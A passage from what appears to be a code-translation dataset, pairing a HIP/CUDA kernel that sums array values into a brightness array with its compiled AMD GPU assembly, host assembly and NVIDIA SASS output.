int currentID = sizeIndex * rows * cols + rowIndex * cols + i;
BrightArray[id] += DataArray[currentID];
}
} | .text
.amdgcn_target "amdgcn-amd-amdhsa--gfx1100"
.section .text._ZL15ZCalcBrightnessPfS_iiii,"axG",@progbits,_ZL15ZCalcBrightnessPfS_iiii,comdat
.globl _ZL15ZCalcBrightnessPfS_iiii
.p2align 8
.type _ZL15ZCalcBrightnessPfS_iiii,@function
_ZL15ZCalcBrightnessPfS_iiii:
s_clause 0x1
s_load_b32 s4, s[0:1], 0x2c
s_load_b64 s[2:3], s[0:1], 0x10
s_waitcnt lgkmcnt(0)
s_and_b32 s4, s4, 0xffff
s_mul_i32 s2, s3, s2
v_mad_u64_u32 v[2:3], null, s15, s4, v[0:1]
s_delay_alu instid0(VALU_DEP_1)
v_cmp_gt_i32_e32 vcc_lo, s2, v2
s_and_saveexec_b32 s2, vcc_lo
s_cbranch_execz .LBB0_4
s_clause 0x1
s_load_b64 s[4:5], s[0:1], 0x8
s_load_b64 s[2:3], s[0:1], 0x18
v_ashrrev_i32_e32 v3, 31, v2
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_2) | instid1(VALU_DEP_2)
v_lshlrev_b64 v[0:1], 2, v[2:3]
v_mov_b32_e32 v3, 0
s_waitcnt lgkmcnt(0)
v_add_co_u32 v0, vcc_lo, s4, v0
s_delay_alu instid0(VALU_DEP_3)
v_add_co_ci_u32_e32 v1, vcc_lo, s5, v1, vcc_lo
s_cmp_ge_i32 s3, s2
global_store_b32 v[0:1], v3, off
s_cbranch_scc1 .LBB0_4
global_load_b32 v4, v[0:1], off
s_mov_b32 s4, s3
s_load_b64 s[0:1], s[0:1], 0x0
v_mad_u64_u32 v[5:6], null, v2, s2, s[4:5]
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_ashrrev_i32_e32 v6, 31, v5
v_lshlrev_b64 v[2:3], 2, v[5:6]
s_waitcnt lgkmcnt(0)
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_2)
v_add_co_u32 v2, vcc_lo, s0, v2
v_add_co_ci_u32_e32 v3, vcc_lo, s1, v3, vcc_lo
.LBB0_3:
global_load_b32 v5, v[2:3], off
v_add_co_u32 v2, vcc_lo, v2, 4
v_add_co_ci_u32_e32 v3, vcc_lo, 0, v3, vcc_lo
s_add_i32 s3, s3, 1
s_delay_alu instid0(SALU_CYCLE_1)
s_cmp_lt_i32 s3, s2
s_waitcnt vmcnt(0)
v_add_f32_e32 v4, v5, v4
global_store_b32 v[0:1], v4, off
s_cbranch_scc1 .LBB0_3
.LBB0_4:
s_nop 0
s_sendmsg sendmsg(MSG_DEALLOC_VGPRS)
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _ZL15ZCalcBrightnessPfS_iiii
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 288
.amdhsa_user_sgpr_count 15
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 1
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 0
.amdhsa_system_sgpr_workgroup_id_z 0
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 0
.amdhsa_next_free_vgpr 7
.amdhsa_next_free_sgpr 16
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.section .text._ZL15ZCalcBrightnessPfS_iiii,"axG",@progbits,_ZL15ZCalcBrightnessPfS_iiii,comdat
.Lfunc_end0:
.size _ZL15ZCalcBrightnessPfS_iiii, .Lfunc_end0-_ZL15ZCalcBrightnessPfS_iiii
.section .AMDGPU.csdata,"",@progbits
.text
.p2alignl 7, 3214868480
.fill 96, 4, 3214868480
.type __hip_cuid_,@object
.section .bss,"aw",@nobits
.globl __hip_cuid_
__hip_cuid_:
.byte 0
.size __hip_cuid_, 1
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym __hip_cuid_
.amdgpu_metadata
---
amdhsa.kernels:
- .args:
- .address_space: global
.offset: 0
.size: 8
.value_kind: global_buffer
- .address_space: global
.offset: 8
.size: 8
.value_kind: global_buffer
- .offset: 16
.size: 4
.value_kind: by_value
- .offset: 20
.size: 4
.value_kind: by_value
- .offset: 24
.size: 4
.value_kind: by_value
- .offset: 28
.size: 4
.value_kind: by_value
- .offset: 32
.size: 4
.value_kind: hidden_block_count_x
- .offset: 36
.size: 4
.value_kind: hidden_block_count_y
- .offset: 40
.size: 4
.value_kind: hidden_block_count_z
- .offset: 44
.size: 2
.value_kind: hidden_group_size_x
- .offset: 46
.size: 2
.value_kind: hidden_group_size_y
- .offset: 48
.size: 2
.value_kind: hidden_group_size_z
- .offset: 50
.size: 2
.value_kind: hidden_remainder_x
- .offset: 52
.size: 2
.value_kind: hidden_remainder_y
- .offset: 54
.size: 2
.value_kind: hidden_remainder_z
- .offset: 72
.size: 8
.value_kind: hidden_global_offset_x
- .offset: 80
.size: 8
.value_kind: hidden_global_offset_y
- .offset: 88
.size: 8
.value_kind: hidden_global_offset_z
- .offset: 96
.size: 2
.value_kind: hidden_grid_dims
.group_segment_fixed_size: 0
.kernarg_segment_align: 8
.kernarg_segment_size: 288
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _ZL15ZCalcBrightnessPfS_iiii
.private_segment_fixed_size: 0
.sgpr_count: 18
.sgpr_spill_count: 0
.symbol: _ZL15ZCalcBrightnessPfS_iiii.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 7
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
amdhsa.target: amdgcn-amd-amdhsa--gfx1100
amdhsa.version:
- 1
- 2
...
.end_amdgpu_metadata |
You are a helpful coding assistant specialized in converting HIP source code to AMD host assembly. | #include <hip/hip_runtime.h>
#include "includes.h"
__global__ static void ZCalcBrightness(float* DataArray, float* BrightArray, int size, int rows, int cols, int startIndex)
{
int id = blockIdx.x * blockDim.x + threadIdx.x;
if (id >= size * rows) // 超出範圍
return;
// 算 Index
int sizeIndex = id / rows;
int rowIndex = id % rows;
BrightArray[id] = 0;
for (int i = startIndex; i < cols; i++)
{
int currentID = sizeIndex * rows * cols + rowIndex * cols + i;
BrightArray[id] += DataArray[currentID];
}
} | .text
.file "ZCalcBrightness.hip"
.type __hip_cuid_,@object # @__hip_cuid_
.bss
.globl __hip_cuid_
__hip_cuid_:
.byte 0 # 0x0
.size __hip_cuid_, 1
.section ".linker-options","e",@llvm_linker_options
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym __hip_cuid_ |
You are a helpful coding assistant specialized in converting from CUDA device assembly to AMD device assembly. | code for sm_80
Function : _Z15ZCalcBrightnessPfS_iiii
.headerflags @"EF_CUDA_TEXMODE_UNIFIED EF_CUDA_64BIT_ADDRESS EF_CUDA_SM80 EF_CUDA_VIRTUAL_SM(EF_CUDA_SM80)"
/*0000*/ MOV R1, c[0x0][0x28] ; /* 0x00000a0000017a02 */
/* 0x000fe40000000f00 */
/*0010*/ S2R R7, SR_CTAID.X ; /* 0x0000000000077919 */
/* 0x000e220000002500 */
/*0020*/ ULDC.64 UR4, c[0x0][0x170] ; /* 0x00005c0000047ab9 */
/* 0x000fe40000000a00 */
/*0030*/ UIMAD UR4, UR5, UR4, URZ ; /* 0x00000004050472a4 */
/* 0x000fe2000f8e023f */
/*0040*/ S2R R0, SR_TID.X ; /* 0x0000000000007919 */
/* 0x000e240000002100 */
/*0050*/ IMAD R7, R7, c[0x0][0x0], R0 ; /* 0x0000000007077a24 */
/* 0x001fca00078e0200 */
/*0060*/ ISETP.GE.AND P0, PT, R7, UR4, PT ; /* 0x0000000407007c0c */
/* 0x000fda000bf06270 */
/*0070*/ @P0 EXIT ; /* 0x000000000000094d */
/* 0x000fea0003800000 */
/*0080*/ MOV R10, c[0x0][0x178] ; /* 0x00005e00000a7a02 */
/* 0x000fe20000000f00 */
/*0090*/ HFMA2.MMA R11, -RZ, RZ, 0, 2.384185791015625e-07 ; /* 0x00000004ff0b7435 */
/* 0x000fe200000001ff */
/*00a0*/ ULDC.64 UR4, c[0x0][0x118] ; /* 0x0000460000047ab9 */
/* 0x000fe40000000a00 */
/*00b0*/ ISETP.GT.AND P0, PT, R10, c[0x0][0x17c], PT ; /* 0x00005f000a007a0c */
/* 0x000fce0003f04270 */
/*00c0*/ IMAD.WIDE R2, R7, R11, c[0x0][0x168] ; /* 0x00005a0007027625 */
/* 0x000fca00078e020b */
/*00d0*/ STG.E [R2.64], RZ ; /* 0x000000ff02007986 */
/* 0x0001e2000c101904 */
/*00e0*/ @!P0 EXIT ; /* 0x000000000000894d */
/* 0x000fea0003800000 */
/*00f0*/ IADD3 R0, R10, -c[0x0][0x17c], RZ ; /* 0x80005f000a007a10 */
/* 0x000fe40007ffe0ff */
/*0100*/ LOP3.LUT R4, RZ, c[0x0][0x17c], RZ, 0x33, !PT ; /* 0x00005f00ff047a12 */
/* 0x000fe400078e33ff */
/*0110*/ LOP3.LUT P1, R6, R0, 0x3, RZ, 0xc0, !PT ; /* 0x0000000300067812 */
/* 0x000fe2000782c0ff */
/*0120*/ IMAD.MOV.U32 R0, RZ, RZ, c[0x0][0x17c] ; /* 0x00005f00ff007624 */
/* 0x000fe200078e00ff */
/*0130*/ IADD3 R4, R4, c[0x0][0x178], RZ ; /* 0x00005e0004047a10 */
/* 0x000fe40007ffe0ff */
/*0140*/ MOV R9, RZ ; /* 0x000000ff00097202 */
/* 0x000fe40000000f00 */
/*0150*/ ISETP.GE.U32.AND P0, PT, R4, 0x3, PT ; /* 0x000000030400780c */
/* 0x000fce0003f06070 */
/*0160*/ @!P1 BRA 0x260 ; /* 0x000000f000009947 */
/* 0x000fec0003800000 */
/*0170*/ IMAD R4, R7, R10, c[0x0][0x17c] ; /* 0x00005f0007047624 */
/* 0x000fe200078e020a */
/*0180*/ HFMA2.MMA R9, -RZ, RZ, 0, 0 ; /* 0x00000000ff097435 */
/* 0x000fe200000001ff */
/*0190*/ MOV R0, c[0x0][0x17c] ; /* 0x00005f0000007a02 */
/* 0x000fe40000000f00 */
/*01a0*/ IMAD.WIDE R4, R4, R11, c[0x0][0x160] ; /* 0x0000580004047625 */
/* 0x000fca00078e020b */
/*01b0*/ MOV R8, R4 ; /* 0x0000000400087202 */
/* 0x000fca0000000f00 */
/*01c0*/ IMAD.MOV.U32 R4, RZ, RZ, R8 ; /* 0x000000ffff047224 */
/* 0x000fcc00078e0008 */
/*01d0*/ LDG.E R4, [R4.64] ; /* 0x0000000404047981 */
/* 0x0022a2000c1e1900 */
/*01e0*/ IADD3 R6, R6, -0x1, RZ ; /* 0xffffffff06067810 */
/* 0x000fe40007ffe0ff */
/*01f0*/ IADD3 R8, P2, R8, 0x4, RZ ; /* 0x0000000408087810 */
/* 0x000fe40007f5e0ff */
/*0200*/ ISETP.NE.AND P1, PT, R6, RZ, PT ; /* 0x000000ff0600720c */
/* 0x000fe40003f25270 */
/*0210*/ IADD3 R0, R0, 0x1, RZ ; /* 0x0000000100007810 */
/* 0x000fe40007ffe0ff */
/*0220*/ IADD3.X R5, RZ, R5, RZ, P2, !PT ; /* 0x00000005ff057210 */
/* 0x002fe200017fe4ff */
/*0230*/ FADD R9, R4, R9 ; /* 0x0000000904097221 */
/* 0x004fca0000000000 */
/*0240*/ STG.E [R2.64], R9 ; /* 0x0000000902007986 */
/* 0x0003e6000c101904 */
/*0250*/ @P1 BRA 0x1c0 ; /* 0xffffff6000001947 */
/* 0x000fea000383ffff */
/*0260*/ @!P0 EXIT ; /* 0x000000000000894d */
/* 0x000fea0003800000 */
/*0270*/ IADD3 R4, -R0, c[0x0][0x178], RZ ; /* 0x00005e0000047a10 */
/* 0x000fe40007ffe1ff */
/*0280*/ PLOP3.LUT P0, PT, PT, PT, PT, 0x80, 0x0 ; /* 0x000000000000781c */
/* 0x000fe40003f0f070 */
/*0290*/ ISETP.GT.AND P1, PT, R4, 0xc, PT ; /* 0x0000000c0400780c */
/* 0x000fe20003f24270 */
/*02a0*/ IMAD R4, R7, c[0x0][0x178], R0 ; /* 0x00005e0007047a24 */
/* 0x000fc800078e0200 */
/*02b0*/ IMAD.WIDE R4, R4, R11, c[0x0][0x160] ; /* 0x0000580004047625 */
/* 0x000fd000078e020b */
/*02c0*/ @!P1 BRA 0x660 ; /* 0x0000039000009947 */
/* 0x000fea0003800000 */
/*02d0*/ PLOP3.LUT P0, PT, PT, PT, PT, 0x8, 0x0 ; /* 0x000000000000781c */
/* 0x000fe40003f0e170 */
/*02e0*/ IADD3 R7, R10, -0xc, RZ ; /* 0xfffffff40a077810 */
/* 0x000fe40007ffe0ff */
/*02f0*/ LDG.E R6, [R4.64] ; /* 0x0000000404067981 */
/* 0x000ea4000c1e1900 */
/*0300*/ FADD R9, R6, R9 ; /* 0x0000000906097221 */
/* 0x016fca0000000000 */
/*0310*/ STG.E [R2.64], R9 ; /* 0x0000000902007986 */
/* 0x0003e8000c101904 */
/*0320*/ LDG.E R6, [R4.64+0x4] ; /* 0x0000040404067981 */
/* 0x000ea4000c1e1900 */
/*0330*/ FADD R11, R9, R6 ; /* 0x00000006090b7221 */
/* 0x004fca0000000000 */
/*0340*/ STG.E [R2.64], R11 ; /* 0x0000000b02007986 */
/* 0x0005e8000c101904 */
/*0350*/ LDG.E R6, [R4.64+0x8] ; /* 0x0000080404067981 */
/* 0x000ee4000c1e1900 */
/*0360*/ FADD R13, R11, R6 ; /* 0x000000060b0d7221 */
/* 0x008fca0000000000 */
/*0370*/ STG.E [R2.64], R13 ; /* 0x0000000d02007986 */
/* 0x0007e8000c101904 */
/*0380*/ LDG.E R6, [R4.64+0xc] ; /* 0x00000c0404067981 */
/* 0x000f24000c1e1900 */
/*0390*/ FADD R15, R13, R6 ; /* 0x000000060d0f7221 */
/* 0x010fca0000000000 */
/*03a0*/ STG.E [R2.64], R15 ; /* 0x0000000f02007986 */
/* 0x0009e8000c101904 */
/*03b0*/ LDG.E R6, [R4.64+0x10] ; /* 0x0000100404067981 */
/* 0x000e64000c1e1900 */
/*03c0*/ FADD R9, R15, R6 ; /* 0x000000060f097221 */
/* 0x002fca0000000000 */
/*03d0*/ STG.E [R2.64], R9 ; /* 0x0000000902007986 */
/* 0x0003e8000c101904 */
/*03e0*/ LDG.E R6, [R4.64+0x14] ; /* 0x0000140404067981 */
/* 0x000ea4000c1e1900 */
/*03f0*/ FADD R11, R9, R6 ; /* 0x00000006090b7221 */
/* 0x004fca0000000000 */
/*0400*/ STG.E [R2.64], R11 ; /* 0x0000000b02007986 */
/* 0x0005e8000c101904 */
/*0410*/ LDG.E R6, [R4.64+0x18] ; /* 0x0000180404067981 */
/* 0x000ee4000c1e1900 */
/*0420*/ FADD R13, R11, R6 ; /* 0x000000060b0d7221 */
/* 0x008fca0000000000 */
/*0430*/ STG.E [R2.64], R13 ; /* 0x0000000d02007986 */
/* 0x0007e8000c101904 */
/*0440*/ LDG.E R6, [R4.64+0x1c] ; /* 0x00001c0404067981 */
/* 0x000f24000c1e1900 */
/*0450*/ FADD R15, R13, R6 ; /* 0x000000060d0f7221 */
/* 0x010fca0000000000 */
/*0460*/ STG.E [R2.64], R15 ; /* 0x0000000f02007986 */
/* 0x0009e8000c101904 */
/*0470*/ LDG.E R6, [R4.64+0x20] ; /* 0x0000200404067981 */
/* 0x000e64000c1e1900 */
/*0480*/ FADD R9, R15, R6 ; /* 0x000000060f097221 */
/* 0x002fca0000000000 */
/*0490*/ STG.E [R2.64], R9 ; /* 0x0000000902007986 */
/* 0x000fe8000c101904 */
/*04a0*/ LDG.E R6, [R4.64+0x24] ; /* 0x0000240404067981 */
/* 0x000ea4000c1e1900 */
/*04b0*/ FADD R11, R9, R6 ; /* 0x00000006090b7221 */
/* 0x004fca0000000000 */
/*04c0*/ STG.E [R2.64], R11 ; /* 0x0000000b02007986 */
/* 0x0003e8000c101904 */
/*04d0*/ LDG.E R6, [R4.64+0x28] ; /* 0x0000280404067981 */
/* 0x000ee4000c1e1900 */
/*04e0*/ FADD R13, R11, R6 ; /* 0x000000060b0d7221 */
/* 0x008fca0000000000 */
/*04f0*/ STG.E [R2.64], R13 ; /* 0x0000000d02007986 */
/* 0x0005e8000c101904 */
/*0500*/ LDG.E R6, [R4.64+0x2c] ; /* 0x00002c0404067981 */
/* 0x000f24000c1e1900 */
/*0510*/ FADD R15, R13, R6 ; /* 0x000000060d0f7221 */
/* 0x010fca0000000000 */
/*0520*/ STG.E [R2.64], R15 ; /* 0x0000000f02007986 */
/* 0x0007e8000c101904 */
/*0530*/ LDG.E R6, [R4.64+0x30] ; /* 0x0000300404067981 */
/* 0x000f24000c1e1900 */
/*0540*/ FADD R17, R15, R6 ; /* 0x000000060f117221 */
/* 0x010fca0000000000 */
/*0550*/ STG.E [R2.64], R17 ; /* 0x0000001102007986 */
/* 0x0009e8000c101904 */
/*0560*/ LDG.E R6, [R4.64+0x34] ; /* 0x0000340404067981 */
/* 0x000e64000c1e1900 */
/*0570*/ FADD R11, R17, R6 ; /* 0x00000006110b7221 */
/* 0x002fca0000000000 */
/*0580*/ STG.E [R2.64], R11 ; /* 0x0000000b02007986 */
/* 0x0009e8000c101904 */
/*0590*/ LDG.E R6, [R4.64+0x38] ; /* 0x0000380404067981 */
/* 0x000ea2000c1e1900 */
/*05a0*/ IADD3 R0, R0, 0x10, RZ ; /* 0x0000001000007810 */
/* 0x000fe20007ffe0ff */
/*05b0*/ FADD R13, R11, R6 ; /* 0x000000060b0d7221 */
/* 0x004fca0000000000 */
/*05c0*/ STG.E [R2.64], R13 ; /* 0x0000000d02007986 */
/* 0x0009e8000c101904 */
/*05d0*/ LDG.E R6, [R4.64+0x3c] ; /* 0x00003c0404067981 */
/* 0x000ea2000c1e1900 */
/*05e0*/ ISETP.GE.AND P1, PT, R0, R7, PT ; /* 0x000000070000720c */
/* 0x000fe20003f26270 */
/*05f0*/ FADD R9, R13, R6 ; /* 0x000000060d097221 */
/* 0x004fe20000000000 */
/*0600*/ IADD3 R6, P2, R4, 0x40, RZ ; /* 0x0000004004067810 */
/* 0x000fc80007f5e0ff */
/*0610*/ IADD3.X R15, RZ, R5, RZ, P2, !PT ; /* 0x00000005ff0f7210 */
/* 0x008fe200017fe4ff */
/*0620*/ STG.E [R2.64], R9 ; /* 0x0000000902007986 */
/* 0x0009e2000c101904 */
/*0630*/ MOV R4, R6 ; /* 0x0000000600047202 */
/* 0x000fc60000000f00 */
/*0640*/ IMAD.MOV.U32 R5, RZ, RZ, R15 ; /* 0x000000ffff057224 */
/* 0x000fe400078e000f */
/*0650*/ @!P1 BRA 0x2f0 ; /* 0xfffffc9000009947 */
/* 0x000fea000383ffff */
/*0660*/ IADD3 R6, -R0, c[0x0][0x178], RZ ; /* 0x00005e0000067a10 */
/* 0x000fc80007ffe1ff */
/*0670*/ ISETP.GT.AND P1, PT, R6, 0x4, PT ; /* 0x000000040600780c */
/* 0x000fda0003f24270 */
/*0680*/ @!P1 BRA 0x870 ; /* 0x000001e000009947 */
/* 0x000fea0003800000 */
/*0690*/ LDG.E R6, [R4.64] ; /* 0x0000000404067981 */
/* 0x000ea4000c1e1900 */
/*06a0*/ FADD R9, R9, R6 ; /* 0x0000000609097221 */
/* 0x016fca0000000000 */
/*06b0*/ STG.E [R2.64], R9 ; /* 0x0000000902007986 */
/* 0x000fe8000c101904 */
/*06c0*/ LDG.E R6, [R4.64+0x4] ; /* 0x0000040404067981 */
/* 0x000ea4000c1e1900 */
/*06d0*/ FADD R7, R9, R6 ; /* 0x0000000609077221 */
/* 0x004fca0000000000 */
/*06e0*/ STG.E [R2.64], R7 ; /* 0x0000000702007986 */
/* 0x0003e8000c101904 */
/*06f0*/ LDG.E R6, [R4.64+0x8] ; /* 0x0000080404067981 */
/* 0x000ea4000c1e1900 */
/*0700*/ FADD R11, R7, R6 ; /* 0x00000006070b7221 */
/* 0x004fca0000000000 */
/*0710*/ STG.E [R2.64], R11 ; /* 0x0000000b02007986 */
/* 0x0005e8000c101904 */
/*0720*/ LDG.E R6, [R4.64+0xc] ; /* 0x00000c0404067981 */
/* 0x000ee4000c1e1900 */
/*0730*/ FADD R13, R11, R6 ; /* 0x000000060b0d7221 */
/* 0x008fca0000000000 */
/*0740*/ STG.E [R2.64], R13 ; /* 0x0000000d02007986 */
/* 0x0007e8000c101904 */
/*0750*/ LDG.E R6, [R4.64+0x10] ; /* 0x0000100404067981 */
/* 0x000f24000c1e1900 */
/*0760*/ FADD R15, R13, R6 ; /* 0x000000060d0f7221 */
/* 0x010fca0000000000 */
/*0770*/ STG.E [R2.64], R15 ; /* 0x0000000f02007986 */
/* 0x0009e8000c101904 */
/*0780*/ LDG.E R6, [R4.64+0x14] ; /* 0x0000140404067981 */
/* 0x000e64000c1e1900 */
/*0790*/ FADD R7, R15, R6 ; /* 0x000000060f077221 */
/* 0x002fca0000000000 */
/*07a0*/ STG.E [R2.64], R7 ; /* 0x0000000702007986 */
/* 0x0009e8000c101904 */
/*07b0*/ LDG.E R6, [R4.64+0x18] ; /* 0x0000180404067981 */
/* 0x000ea4000c1e1900 */
/*07c0*/ FADD R11, R7, R6 ; /* 0x00000006070b7221 */
/* 0x004fca0000000000 */
/*07d0*/ STG.E [R2.64], R11 ; /* 0x0000000b02007986 */
/* 0x0009e8000c101904 */
/*07e0*/ LDG.E R6, [R4.64+0x1c] ; /* 0x00001c0404067981 */
/* 0x000ea2000c1e1900 */
/*07f0*/ PLOP3.LUT P0, PT, PT, PT, PT, 0x8, 0x0 ; /* 0x000000000000781c */
/* 0x000fe40003f0e170 */
/*0800*/ IADD3 R0, R0, 0x8, RZ ; /* 0x0000000800007810 */
/* 0x000fe20007ffe0ff */
/*0810*/ FADD R9, R11, R6 ; /* 0x000000060b097221 */
/* 0x004fe20000000000 */
/*0820*/ IADD3 R6, P1, R4, 0x20, RZ ; /* 0x0000002004067810 */
/* 0x000fc80007f3e0ff */
/*0830*/ STG.E [R2.64], R9 ; /* 0x0000000902007986 */
/* 0x0009e2000c101904 */
/*0840*/ IADD3.X R13, RZ, R5, RZ, P1, !PT ; /* 0x00000005ff0d7210 */
/* 0x008fe40000ffe4ff */
/*0850*/ MOV R4, R6 ; /* 0x0000000600047202 */
/* 0x000fe40000000f00 */
/*0860*/ MOV R5, R13 ; /* 0x0000000d00057202 */
/* 0x000fe40000000f00 */
/*0870*/ ISETP.LT.OR P0, PT, R0, c[0x0][0x178], P0 ; /* 0x00005e0000007a0c */
/* 0x000fda0000701670 */
/*0880*/ @!P0 EXIT ; /* 0x000000000000894d */
/* 0x000fea0003800000 */
/*0890*/ LDG.E R0, [R4.64] ; /* 0x0000000404007981 */
/* 0x000ea4000c1e1900 */
/*08a0*/ FADD R9, R0, R9 ; /* 0x0000000900097221 */
/* 0x016fca0000000000 */
/*08b0*/ STG.E [R2.64], R9 ; /* 0x0000000902007986 */
/* 0x000fe8000c101904 */
/*08c0*/ LDG.E R0, [R4.64+0x4] ; /* 0x0000040404007981 */
/* 0x000ea4000c1e1900 */
/*08d0*/ FADD R7, R9, R0 ; /* 0x0000000009077221 */
/* 0x004fca0000000000 */
/*08e0*/ STG.E [R2.64], R7 ; /* 0x0000000702007986 */
/* 0x000fe8000c101904 */
/*08f0*/ LDG.E R0, [R4.64+0x8] ; /* 0x0000080404007981 */
/* 0x000ea4000c1e1900 */
/*0900*/ FADD R11, R7, R0 ; /* 0x00000000070b7221 */
/* 0x004fca0000000000 */
/*0910*/ STG.E [R2.64], R11 ; /* 0x0000000b02007986 */
/* 0x000fe8000c101904 */
/*0920*/ LDG.E R0, [R4.64+0xc] ; /* 0x00000c0404007981 */
/* 0x000ea4000c1e1900 */
/*0930*/ FADD R13, R11, R0 ; /* 0x000000000b0d7221 */
/* 0x004fca0000000000 */
/*0940*/ STG.E [R2.64], R13 ; /* 0x0000000d02007986 */
/* 0x000fe2000c101904 */
/*0950*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*0960*/ BRA 0x960; /* 0xfffffff000007947 */
/* 0x000fc0000383ffff */
/*0970*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0980*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0990*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*09a0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*09b0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*09c0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*09d0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*09e0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*09f0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
.......... | .text
.amdgcn_target "amdgcn-amd-amdhsa--gfx1100"
.section .text._ZL15ZCalcBrightnessPfS_iiii,"axG",@progbits,_ZL15ZCalcBrightnessPfS_iiii,comdat
.globl _ZL15ZCalcBrightnessPfS_iiii
.p2align 8
.type _ZL15ZCalcBrightnessPfS_iiii,@function
_ZL15ZCalcBrightnessPfS_iiii:
s_clause 0x1
s_load_b32 s4, s[0:1], 0x2c
s_load_b64 s[2:3], s[0:1], 0x10
s_waitcnt lgkmcnt(0)
s_and_b32 s4, s4, 0xffff
s_mul_i32 s2, s3, s2
v_mad_u64_u32 v[2:3], null, s15, s4, v[0:1]
s_delay_alu instid0(VALU_DEP_1)
v_cmp_gt_i32_e32 vcc_lo, s2, v2
s_and_saveexec_b32 s2, vcc_lo
s_cbranch_execz .LBB0_4
s_clause 0x1
s_load_b64 s[4:5], s[0:1], 0x8
s_load_b64 s[2:3], s[0:1], 0x18
v_ashrrev_i32_e32 v3, 31, v2
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_2) | instid1(VALU_DEP_2)
v_lshlrev_b64 v[0:1], 2, v[2:3]
v_mov_b32_e32 v3, 0
s_waitcnt lgkmcnt(0)
v_add_co_u32 v0, vcc_lo, s4, v0
s_delay_alu instid0(VALU_DEP_3)
v_add_co_ci_u32_e32 v1, vcc_lo, s5, v1, vcc_lo
s_cmp_ge_i32 s3, s2
global_store_b32 v[0:1], v3, off
s_cbranch_scc1 .LBB0_4
global_load_b32 v4, v[0:1], off
s_mov_b32 s4, s3
s_load_b64 s[0:1], s[0:1], 0x0
v_mad_u64_u32 v[5:6], null, v2, s2, s[4:5]
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_ashrrev_i32_e32 v6, 31, v5
v_lshlrev_b64 v[2:3], 2, v[5:6]
s_waitcnt lgkmcnt(0)
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_2)
v_add_co_u32 v2, vcc_lo, s0, v2
v_add_co_ci_u32_e32 v3, vcc_lo, s1, v3, vcc_lo
.LBB0_3:
global_load_b32 v5, v[2:3], off
v_add_co_u32 v2, vcc_lo, v2, 4
v_add_co_ci_u32_e32 v3, vcc_lo, 0, v3, vcc_lo
s_add_i32 s3, s3, 1
s_delay_alu instid0(SALU_CYCLE_1)
s_cmp_lt_i32 s3, s2
s_waitcnt vmcnt(0)
v_add_f32_e32 v4, v5, v4
global_store_b32 v[0:1], v4, off
s_cbranch_scc1 .LBB0_3
.LBB0_4:
s_nop 0
s_sendmsg sendmsg(MSG_DEALLOC_VGPRS)
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _ZL15ZCalcBrightnessPfS_iiii
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 288
.amdhsa_user_sgpr_count 15
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 1
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 0
.amdhsa_system_sgpr_workgroup_id_z 0
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 0
.amdhsa_next_free_vgpr 7
